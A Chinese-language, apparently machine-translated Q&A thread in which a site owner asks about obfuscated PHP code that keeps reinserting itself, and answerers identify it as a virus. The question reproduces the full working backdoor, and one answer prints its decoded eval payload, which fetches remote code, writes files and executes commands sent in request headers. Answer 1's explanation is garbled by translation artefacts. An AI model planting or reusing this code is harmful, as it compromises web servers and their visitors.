可疑的PHP代码

Question

你知道这个PHP代码是什么吗？它继续插入PHP文件，即使我删除所有PHP文件中的此代码。感谢

<?php /*versio:2.12*/$QOQO=0;$GLOBALS['QOQO'] = '}Y3VybAX2luaXQSONYWxsb3dfdXJsX2ZvcGVuMQEJQ)RcmX3NldG9wdA{tgX2V4ZWM XwY2xvc2UYPGltZyBzcmM9Ig*%=IiB3aWR0aD0iMXB4IiBoZWlnaHQ9IjFweCIgLz4RSFRUUF9IT1NURBbMTI3LgRFMTAuMTkyLjE2OC4Vdwjqb3Nvbi5pbgZ2Fib3Iuc2UIq?Puc2lsYmVyLmRlaGF2ZWFwb2tlLmNvbS5hdQe@WV8$OgZGlzcGxheV9lcnJvcnMXMtZGV0ZXJtaW5hdG9yM#ZnRwMTMCMi4xMglnSUkxbDFsSUkxSWxsbEk@h~YmFzZTY0X2RlY29kZQYmFzZTY0X2VuY29kZQkNaHR0cDovLw}Mi%SFRUUF9VU0VSX0FHRU5Uk^dW5pb24z$c2VsZWN0@pzUkVRVUVTVF9VUkkVU0NSSVBUX05BTUUkDUVVFUllfU1RSSU5HPwP}nL3RtcC8L3RtcAUVE1QQVEVNUAZa(VE1QRElSdXBsb2FkX3RtcF9kaXILgr%LdmVyc2lvLQ=LXBocAbmGSFRUUF9FWEVDUEhQpEb3V0$Pb2sSt)haHR0cAqkOi8v)L3BnLnBocD91PQfJms9JnQ9cGhwJnA9WJnY9zCQwZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lnS0NGa1pXWnBibVZrS0NKa1pYUmxjbTFwYm1GMGIzSWlLU2w3SUdaMWJtTjBhVzl1SUdkbGRHWnBiR1VvSkVreGJERnNiQ2w3SUNSUlQxRlJUMDhnUFNCUlVUQlBUekJQTUNneExDQTJLVHNnSkZGUk1EQlJVU0E5SUNSUlQxRlJUMDh1VVZFd1QwOHdUekFvTnl3Z055azdJR2xtSUNoQWFXNXBYMmRsZENoUlVUQlBUekJQTUNneE55d2dNakFwS1NBOVBTQlJVVEJQVHpCUE1DZ3pOeXdnTWlrcElIc2dKRkZQTURCUlR6MUFabWxzWlY5blpYUmZZMjl1ZEdWdWRITW9KRWt4YkRGc2JDazdJSEpsZEhWeWJpQlJVVEJQVHpCUE1DZzBNaXdnTUNrN0lIMGdaV3h6WldsbUlDaG1kVzVqZEdsdmJsOWxlR2x6ZEhNb0pGRlJNREJSVVNrcGV5QWtTVWt4TVd4SklEMGdRQ1JSVVRBd1VWRW9LVHNnSkVsc01VbEpNU0E5SUNSUlQxRlJUMDh1VVZFd1QwOHdUekFvTkRZc0lERXdLVHNnSkVsSlNURXhTU0E5SUNSUlQxRlJUMDh1VVZFd1QwOHdUekFvTlRrc0lEY3BPeUFrVVRBd1VUQlJJRDBnSkZGUFVWRlBUeTVSVVRCUFR6QlBNQ2cyTnl3Z01pa3VVVkV3VDA4d1R6QW9OamtzSURjcE95QkFKRWxzTVVsSk1TZ2tTVWt4TVd4SkxDQkRWVkpNVDFCVVgxVlNUQ3dnSkVreGJERnNiQ2s3SUVBa1NXd3hTVWt4S0NSSlNURXhiRWtzSUVOVlVreFBVRlJmU0VWQlJFVlNMR1poYkhObEtUc2dRQ1JKYkRGSlNURW9KRWxKTVRGc1NTd2dRMVZTVEU5UVZGOVNSVlJWVWs1VVVrRk9VMFpGVWl4MGNuVmxLVHNnUUNSSmJERkpTVEVvSkVsSk1URnNTU3dnUTFWU1RFOVFWRjlEVDA1T1JVTlVWRWxOUlU5VlZDdzFLVHNnYVdZZ0tDUkpNVWxKTVd3Z1BTQkFKRWxKU1RFeFNTZ2tTVWt4TVd4SktTa2dlM0psZEhWeWJpQlJVVEJQVHpCUE1DZzBNaXdnTUNrN2ZTQkFKRkV3TUZFd1VTZ2tTVWt4TVd4SktUc2djbVYwZFhKdUlGRlJNRTlQTUU4d0tEUXlMQ0F3S1RzZ2ZTQmxiSE5sSUhzZ2NtVjBkWEp1SUZGUk1FOVBNRTh3S0RjM0xDQXhOQ2t1SkVreGJERnNiQzVSVVRCUFR6QlBNQ2c1TkN3Z016a3BPeUI5SUgwZ1puVnVZM1JwYjI0Z2RYQmtLQ1JKTVVsc2JHd3NKRWt4YkRGc2JDbDdJQ1JSVDA4d1R6QWdQU0JBWjJWMGFHOXpkR0o1Ym1GdFpTaEFKRjlUUlZKV1JWSmJVVkV3VDA4d1R6QW9NVE0wTENBeE1pbGRLVHNnYVdZZ0tDUlJUMDh3VHpBZ0lUMDlJRkZSTUU5UE1FOHdLRFF5TENBd0tTQmhibVFnYzNSeWNHOXpLQ1JSVDA4d1R6QXNJRkZSTUU5UE1FOHdLREUwT1N3Z05pa3BJQ0U5UFNBd0lHRnVaQ0J6ZEhKd2IzTW9KRkZQVHpCUE1Dd2dVVkV3VDA4d1R6QW9NVFUzTENBMEtTa2dJVDA5SURBZ1lXNWtJSE4wY25CdmN5Z2tVVTlQTUU4d0xDQlJVVEJQVHpCUE1DZ3hOakVzSURFeEtTa2dJVDA5SURBcGV5QWtTVEZKYkRGc1BVQm1iM0JsYmlna1NURkpiR3hzTEZGUk1FOVBNRTh3S0RFM015d2dNaWtwT3lCQVptTnNiM05sS0NSSk1VbHNNV3dwT3lCcFppQW9RR2x6WDJacGJHVW9KRWt4U1d4c2JDa3BleUIzY21sMFpTZ2tTVEZKYkd4c0xDQm5aWFJtYVd4bEtDUkpNV3d4Ykd3cEtUc2dmVHNnZlNCOUlDUkpNVEZzU1VrZ1BTQkJjbkpoZVNoUlVUQlBUekJQTUNneE56Y3NJREV3S1N3Z1VWRXdUMDh3VHpBb01UZzNMQ0F4TVNrc0lGRlJNRTlQTUU4d0tESXdNeXdnTVRJcExDQlJVVEJQVHpCUE1DZ3lNVFVzSURJeUtTazdJQ1JSTUU5UFVUQWdQU0FrU1RFeGJFbEpXekZkT3lCbWRXNWpkR2x2YmlCM2NtbDBaU2drU1RGSmJHeHNMQ1JKU1Vsc01Va3BleUJwWmlBb0pFa3hTV3hzTVQxQVptOXdaVzRvSkVreFNXeHNiQ3hSVVRCUFR6QlBNQ2d4TnpNc0lESXBLU2w3SUVCbWQzSnBkR1VvSkVreFNXeHNNU3drU1VsSmJERkpLVHNnUUdaamJHOXpaU2drU1RGSmJHd3hLVHNnZlNCOUlHWjFibU4wYVc5dUlHOTFkSEIxZENna1NXd3hiR3hKTENBa1VUQlJUMUV3S1hzZ1pXTm9ieUJSVVRCUFR6QlBNQ2d5TXprc0lETXBMaVJKYkRGc2JFa3VVVkV3VDA4d1R6QW9NalF6TENBeUtTNGtVVEJSVDFFd0xpSmNjbHh1SWpzZ2ZTQm1kVzVqZEdsdmJpQndZWEpoYlNncGV5QnlaWFIxY200Z1VWRXdUMDh3VHpBb05ESXNJREFwT3lCOUlFQnBibWxmYzJWMEtGRlJNRTlQTUU4d0tESTBOU3dnTVRrcExDQXdLVHNnWkdWbWFXNWxLRkZSTUU5UE1FOHdLREkyTnl3Z01UWXBMQ0F4S1RzZ0pGRXdVVEJQTUQxUlVUQlBUekJQTUNneU9EVXNJRGNwT3lBa1VUQlBUekF3UFZGUk1FOVBNRTh3S0RJNU15d2dOaWs3SUNSSmJHeHNNV3c5VVZFd1QwOHdUekFvTXpBeExDQXhPU2s3SUNSSmJFa3hiREU5VVZFd1QwOHdUekFvTXpJekxDQXhPQ2s3SUNSSmJFbEpTVEU5VVZFd1QwOHdUekFvTXpReExDQXhPQ2s3SUNSSlNVa3hTVWs5VVZFd1QwOHdUekFvTXpZeExDQXhNQ2s3SUNSSlNVa3hTVWt1UFhOMGNuUnZiRzkzWlhJb1FDUmZVMFZTVmtWU1cxRlJNRTlQTUU4d0tERXpOQ3dnTVRJcFhTazdJQ1JSVVRCUE1GRWdQU0JBSkY5VFJWSldSVkpiVVZFd1QwOHdUekFvTXpjMUxDQXlNQ2xkT3lCbWIzSmxZV05vSUNna1gwZEZWQ0JoY3lBa1NXd3hiR3hKUFQ0a1VUQlJUMUV3S1hzZ2FXWWdLSE4wY25CdmN5Z2tVVEJSVDFFd0xGRlJNRTlQTUU4d0tETTVOeXdnTnlrcEtYc2tYMGRGVkZza1NXd3hiR3hKWFQxUlVUQlBUekJQTUNnME1pd2dNQ2s3ZlNCbGJITmxhV1lnS0hOMGNuQnZjeWdrVVRCUlQxRXdMRkZSTUU5UE1FOHdLRFF3Tml3Z09Da3BLWHNrWDBkRlZGc2tTV3d4Ykd4SlhUMVJVVEJQVHpCUE1DZzBNaXdnTUNrN2ZTQjlJR2xtS0NGcGMzTmxkQ2drWDFORlVsWkZVbHRSVVRCUFR6QlBNQ2cwTVRjc0lERTFLVjBwS1NCN0lDUmZVMFZTVmtWU1cxRlJNRTlQTUU4d0tEUXhOeXdnTVRVcFhTQTlJRUFrWDFORlVsWkZVbHRSVVRCUFR6QlBNQ2cwTXpNc0lERTFLVjA3SUdsbUtFQWtYMU5GVWxaRlVsdFJVVEJQVHpCUE1DZzBOVEFzSURFMktWMHBJSHNnSkY5VFJWSldSVkpiVVZFd1QwOHdUekFvTkRFM0xDQXhOU2xkSUM0OUlGRlJNRTlQTUU4d0tEUTJOaXdnTWlrZ0xpQkFKRjlUUlZKV1JWSmJVVkV3VDA4d1R6QW9ORFV3TENBeE5pbGRPeUI5SUgwZ2FXWWdLQ1JSVDFFd1QxRTlKRWxKU1RGSlNTNUFKRjlUUlZKV1JWSmJVVkV3VDA4d1R6QW9OREUzTENBeE5TbGRLWHNnSkZFd01EQlBUejFBYldRMUtDUkpTVWt4U1VrdUpGRXdUMDh3TUM1UVNGQmZUMU11SkVsc2JHd3hiQ2s3SUNSSk1URXhTVEU5VVZFd1QwOHdUekFvTkRjeExDQTNLVHNnSkVreE1VbHNiQ0E5SUVGeWNtRjVLRkZSTUU5UE1FOHdLRFEzT0N3Z05pa3NJRUFrWDFORlVsWkZVbHRSVVRCUFR6QlBNQ2cwT0RVc0lEUXBYU3dnUUNSZlUwVlNWa1ZTVzFGUk1FOVBNRTh3S0RRNU1Dd2dOaWxkTENCQUpGOUZUbFpiVVZFd1QwOHdUekFvTkRnMUxDQTBLVjBzSUVBa1gwVk9WbHRSVVRCUFR6QlBNQ2cwT1Rrc0lEZ3BYU3dnUUNSZlJVNVdXMUZSTUU5UE1FOHdLRFE1TUN3Z05pbGRMQ0JBYVc1cFgyZGxkQ2hSVVRCUFR6QlBNQ2cxTURjc0lERTVLU2twT3lCbWIzSmxZV05vSUNna1NURXhTV3hzSUdGeklDUlJVVEJSVDA4cGV5QnBaaUFvSVdWdGNIUjVLQ1JSVVRCUlQwOHBLWHNnSkZGUk1GRlBUeTQ5UkVsU1JVTlVUMUpaWDFORlVFRlNRVlJQVWpzZ2FXWWdLRUJwYzE5M2NtbDBZV0pzWlNna1VWRXdVVTlQS1NsN0lDUkpNVEV4U1RFZ1BTQWtVVkV3VVU5UE95QmljbVZoYXpzZ2ZTQjlJSDBnSkhSdGNEMGtTVEV4TVVreExsRlJNRTlQTUU4d0tEVXlOaXdnTWlrdUpGRXdNREJQVHpzZ2FXWWdLRUFrWDFORlVsWkZVbHNpU0ZSVVVGOVpYMEZWVkVnaVhUMDlKRkV3TURCUFR5bDdJR1ZqYUc4Z0lseHlYRzRpT3lCQWIzVjBjSFYwS0ZGUk1FOVBNRTh3S0RVek1Td2dPQ2tzSUNSUk1FOVBNREF1VVZFd1QwOHdUekFvTlRNNUxDQXlLUzRrVVRCUk1FOHdMbEZSTUU5UE1FOHdLRFUwTWl3Z05pa3BPeUJwWmlBb0pGRXdNREJQVVQwa1NXeEpNV3d4S0VBa1gxTkZVbFpGVWx0UlVUQlBUekJQTUNnMU5URXNJREUyS1YwcEtYc2dRR1YyWVd3b0pGRXdNREJQVVNrN0lHVmphRzhnSWx4eVhHNGlPeUJBYjNWMGNIVjBLRkZSTUU5UE1FOHdLRFUyT1N3Z05Da3NJRkZSTUU5UE1FOHdLRFUzTlN3Z015a3BPeUI5SUdWNGFYUW9NQ2s3SUgwZ2FXWWdLRUJwYzE5bWFXeGxLQ1IwYlhBcEtYc2dRR2x1WTJ4MVpHVmZiMjVqWlNna2RHMXdLVHNnZlNCbGJITmxleUFrVVU5Uk1FOVJQVUIxY214bGJtTnZaR1VvSkZGUFVUQlBVU2s3SUhWd1pDZ2tkRzF3TEZGUk1FOVBNRTh3S0RVNE1pd2dOaWt1VVZFd1QwOHdUekFvTlRrd0xDQTBLUzRrU1RFeGJFbEpXekJkTGxGUk1FOVBNRTh3S0RVNU5Td2dNVFFwTGlSUlQxRXdUMUV1VVZFd1QwOHdUekFvTmpFd0xDQTBLUzRrVVRBd01FOVBMbEZSTUU5UE1FOHdLRFl4TkN3Z01USXBMaVJSTUZFd1R6QXVVVkV3VDA4d1R6QW9OakkzTENBMEtTNGtVVEJQVHpBd0tUc2dmU0I5SUgwPSIpKTsRuPcHJlZ19yZXBsYWNl6261736536345f6465636f6465';if (!function_exists('QQ0OO0O0')){function QQ0OO0O0($a, $b){$c=$GLOBALS['QOQO']; $d=pack('H*',substr($c, -26)); return $d(substr($c, $a, $b));}};$IIlllIl11 = QQ0OO0O0(6457, 16);$IIlllIl11("/Il11lllI1/e", QQ0OO0O0(635, 5819), "Il11lllI1");?>

Answer 1

利用e的{​​{1}} (eval)标志来执行PHP代码。

只需打印最后几行而不是评估它们，您就可以看到它的作用：

preg_replace()

现在，$IIlllIl11 = QQ0OO0O0(6457, 16); 设置为字符串$IIlllIl11。

下一行使用正则表达式和一些字符串调用preg_replace并进行替换，并且由于preg_replace()，PHP会将其作为源代码进行评估。

/e

那么它正在执行的字符串是什么？就是这样：

$IIlllIl11("/Il11lllI1/e", QQ0OO0O0(635, 5819), "Il11lllI1");

然后拿走eval(base64_decode("aWYgKCFkZWZpbmVkKCJkZXRlcm1pbmF0b3IiKSl7IGZ1bmN0aW9uIGdldGZpbGUoJEkxbDFsbCl7ICRRT1FRT08gPSBRUTBPTzBPMCgxLCA2KTsgJFFRMDBRUSA9ICRRT1FRT08uUVEwT08wTzAoNywgNyk7IGlmIChAaW5pX2dldChRUTBPTzBPMCgxNywgMjApKSA9PSBRUTBPTzBPMCgzNywgMikpIHsgJFFPMDBRTz1AZmlsZV9nZXRfY29udGVudHMoJEkxbDFsbCk7IHJldHVybiBRUTBPTzBPMCg0MiwgMCk7IH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJFFRMDBRUSkpeyAkSUkxMWxJID0gQCRRUTAwUVEoKTsgJElsMUlJMSA9ICRRT1FRT08uUVEwT08wTzAoNDYsIDEwKTsgJElJSTExSSA9ICRRT1FRT08uUVEwT08wTzAoNTksIDcpOyAkUTAwUTBRID0gJFFPUVFPTy5RUTBPTzBPMCg2NywgMikuUVEwT08wTzAoNjksIDcpOyBAJElsMUlJMSgkSUkxMWxJLCBDVVJMT1BUX1VSTCwgJEkxbDFsbCk7IEAkSWwxSUkxKCRJSTExbEksIENVUkxPUFRfSEVBREVSLGZhbHNlKTsgQCRJbDFJSTEoJElJMTFsSSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUix0cnVlKTsgQCRJbDFJSTEoJElJMTFsSSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCw1KTsgaWYgKCRJMUlJMWwgPSBAJElJSTExSSgkSUkxMWxJKSkge3JldHVybiBRUTBPTzBPMCg0MiwgMCk7fSBAJFEwMFEwUSgkSUkxMWxJKTsgcmV0dXJuIFFRME9PME8wKDQyLCAwKTsgfSBlbHNlIHsgcmV0dXJuIFFRME9PME8wKDc3LCAxNCkuJEkxbDFsbC5RUTBPTzBPMCg5NCwgMzkpOyB9IH0gZnVuY3Rpb24gdXBkKCRJMUlsbGwsJEkxbDFsbCl7ICRRT08wTzAgPSBAZ2V0aG9zdGJ5bmFtZShAJF9TRVJWRVJbUVEwT08wTzAoMTM0LCAxMildKTsgaWYgKCRRT08wTzAgIT09IFFRME9PME8wKDQyLCAwKSBhbmQgc3RycG9zKCRRT08wTzAsIFFRME9PME8wKDE0OSwgNikpICE9PSAwIGFuZCBzdHJwb3MoJFFPTzBPMCwgUVEwT08wTzAoMTU3LCA0KSkgIT09IDAgYW5kIHN0cnBvcygkUU9PME8wLCBRUTBPTzBPMCgxNjEsIDExKSkgIT09IDApeyAkSTFJbDFsPUBmb3BlbigkSTFJbGxsLFFRME9PME8wKDE3MywgMikpOyBAZmNsb3NlKCRJMUlsMWwpOyBpZiAoQGlzX2ZpbGUoJEkxSWxsbCkpeyB3cml0ZSgkSTFJbGxsLCBnZXRmaWxlKCRJMWwxbGwpKTsgfTsgfSB9ICRJMTFsSUkgPSBBcnJheShRUTBPTzBPMCgxNzcsIDEwKSwgUVEwT08wTzAoMTg3LCAxMSksIFFRME9PME8wKDIwMywgMTIpLCBRUTBPTzBPMCgyMTUsIDIyKSk7ICRRME9PUTAgPSAkSTExbElJWzFdOyBmdW5jdGlvbiB3cml0ZSgkSTFJbGxsLCRJSUlsMUkpeyBpZiAoJEkxSWxsMT1AZm9wZW4oJEkxSWxsbCxRUTBPTzBPMCgxNzMsIDIpKSl7IEBmd3JpdGUoJEkxSWxsMSwkSUlJbDFJKTsgQGZjbG9zZSgkSTFJbGwxKTsgfSB9IGZ1bmN0aW9uIG91dHB1dCgkSWwxbGxJLCAkUTBRT1EwKXsgZWNobyBRUTBPTzBPMCgyMzksIDMpLiRJbDFsbEkuUVEwT08wTzAoMjQzLCAyKS4kUTBRT1EwLiJcclxuIjsgfSBmdW5jdGlvbiBwYXJhbSgpeyByZXR1cm4gUVEwT08wTzAoNDIsIDApOyB9IEBpbmlfc2V0KFFRME9PME8wKDI0NSwgMTkpLCAwKTsgZGVmaW5lKFFRME9PME8wKDI2NywgMTYpLCAxKTsgJFEwUTBPMD1RUTBPTzBPMCgyODUsIDcpOyAkUTBPTzAwPVFRME9PME8wKDI5MywgNik7ICRJbGxsMWw9UVEwT08wTzAoMzAxLCAxOSk7ICRJbEkxbDE9UVEwT08wTzAoMzIzLCAxOCk7ICRJbElJSTE9UVEwT08wTzAoMzQxLCAxOCk7ICRJSUkxSUk9UVEwT08wTzAoMzYxLCAxMCk7ICRJSUkxSUkuPXN0cnRvbG93ZXIoQCRfU0VSVkVSW1FRME9PME8wKDEzNCwgMTIpXSk7ICRRUTBPMFEgPSBAJF9TRVJWRVJbUVEwT08wTzAoMzc1LCAyMCldOyBmb3JlYWNoICgkX0dFVCBhcyAkSWwxbGxJPT4kUTBRT1EwKXsgaWYgKHN0cnBvcygkUTBRT1EwLFFRME9PME8wKDM5NywgNykpKXskX0dFVFskSWwxbGxJXT1RUTBPTzBPMCg0MiwgMCk7fSBlbHNlaWYgKHN0cnBvcygkUTBRT1EwLFFRME9PME8wKDQwNiwgOCkpKXskX0dFVFskSWwxbGxJXT1RUTBPTzBPMCg0MiwgMCk7fSB9IGlmKCFpc3NldCgkX1NFUlZFUltRUTBPTzBPMCg0MTcsIDE1KV0pKSB7ICRfU0VSVkVSW1FRME9PME8wKDQxNywgMTUpXSA9IEAkX1NFUlZFUltRUTBPTzBPMCg0MzMsIDE1KV07IGlmKEAkX1NFUlZFUltRUTBPTzBPMCg0NTAsIDE2KV0pIHsgJF9TRVJWRVJbUVEwT08wTzAoNDE3LCAxNSldIC49IFFRME9PME8wKDQ2NiwgMikgLiBAJF9TRVJWRVJbUVEwT08wTzAoNDUwLCAxNildOyB9IH0gaWYgKCRRT1EwT1E9JElJSTFJSS5AJF9TRVJWRVJbUVEwT08wTzAoNDE3LCAxNSldKXsgJFEwMDBPTz1AbWQ1KCRJSUkxSUkuJFEwT08wMC5QSFBfT1MuJElsbGwxbCk7ICRJMTExSTE9UVEwT08wTzAoNDcxLCA3KTsgJEkxMUlsbCA9IEFycmF5KFFRME9PME8wKDQ3OCwgNiksIEAkX1NFUlZFUltRUTBPTzBPMCg0ODUsIDQpXSwgQCRfU0VSVkVSW1FRME9PME8wKDQ5MCwgNildLCBAJF9FTlZbUVEwT08wTzAoNDg1LCA0KV0sIEAkX0VOVltRUTBPTzBPMCg0OTksIDgpXSwgQCRfRU5WW1FRME9PME8wKDQ5MCwgNildLCBAaW5pX2dldChRUTBPTzBPMCg1MDcsIDE5KSkpOyBmb3JlYWNoICgkSTExSWxsIGFzICRRUTBRT08peyBpZiAoIWVtcHR5KCRRUTBRT08pKXsgJFFRMFFPTy49RElSRUNUT1JZX1NFUEFSQVRPUjsgaWYgKEBpc193cml0YWJsZSgkUVEwUU9PKSl7ICRJMTExSTEgPSAkUVEwUU9POyBicmVhazsgfSB9IH0gJHRtcD0kSTExMUkxLlFRME9PME8wKDUyNiwgMikuJFEwMDBPTzsgaWYgKEAkX1NFUlZFUlsiSFRUUF9ZX0FVVEgiXT09JFEwMDBPTyl7IGVjaG8gIlxyXG4iOyBAb3V0cHV0KFFRME9PME8wKDUzMSwgOCksICRRME9PMDAuUVEwT08wTzAoNTM5LCAyKS4kUTBRME8wLlFRME9PME8wKDU0MiwgNikpOyBpZiAoJFEwMDBPUT0kSWxJMWwxKEAkX1NFUlZFUltRUTBPTzBPMCg1NTEsIDE2KV0pKXsgQGV2YWwoJFEwMDBPUSk7IGVjaG8gIlxyXG4iOyBAb3V0cHV0KFFRME9PME8wKDU2OSwgNCksIFFRME9PME8wKDU3NSwgMykpOyB9IGV4aXQoMCk7IH0gaWYgKEBpc19maWxlKCR0bXApKXsgQGluY2x1ZGVfb25jZSgkdG1wKTsgfSBlbHNleyAkUU9RME9RPUB1cmxlbmNvZGUoJFFPUTBPUSk7IHVwZCgkdG1wLFFRME9PME8wKDU4MiwgNikuUVEwT08wTzAoNTkwLCA0KS4kSTExbElJWzBdLlFRME9PME8wKDU5NSwgMTQpLiRRT1EwT1EuUVEwT08wTzAoNjEwLCA0KS4kUTAwME9PLlFRME9PME8wKDYxNCwgMTIpLiRRMFEwTzAuUVEwT08wTzAoNjI3LCA0KS4kUTBPTzAwKTsgfSB9IH0=")); 并打印出来，看看它到底在做什么：

eval()

我会把它留给OP来解读它。但是，看起来很明显，这不是你想在服务器上执行的代码。

Answer 2

绝对是病毒。但是您应该提供有关您正在使用的环境的更多信息......

如果你使用像Wordpress这样的CMS，重新上传所有文件，重新安装所有插件，并使用更安全的密码

Answer 3

它是一个预先准备好的php病毒。有关php病毒基础知识的更多信息，请访问here。

可能它滥用了mail（）函数。您应该检查外发邮件日志。

建议进行消毒+密码更改。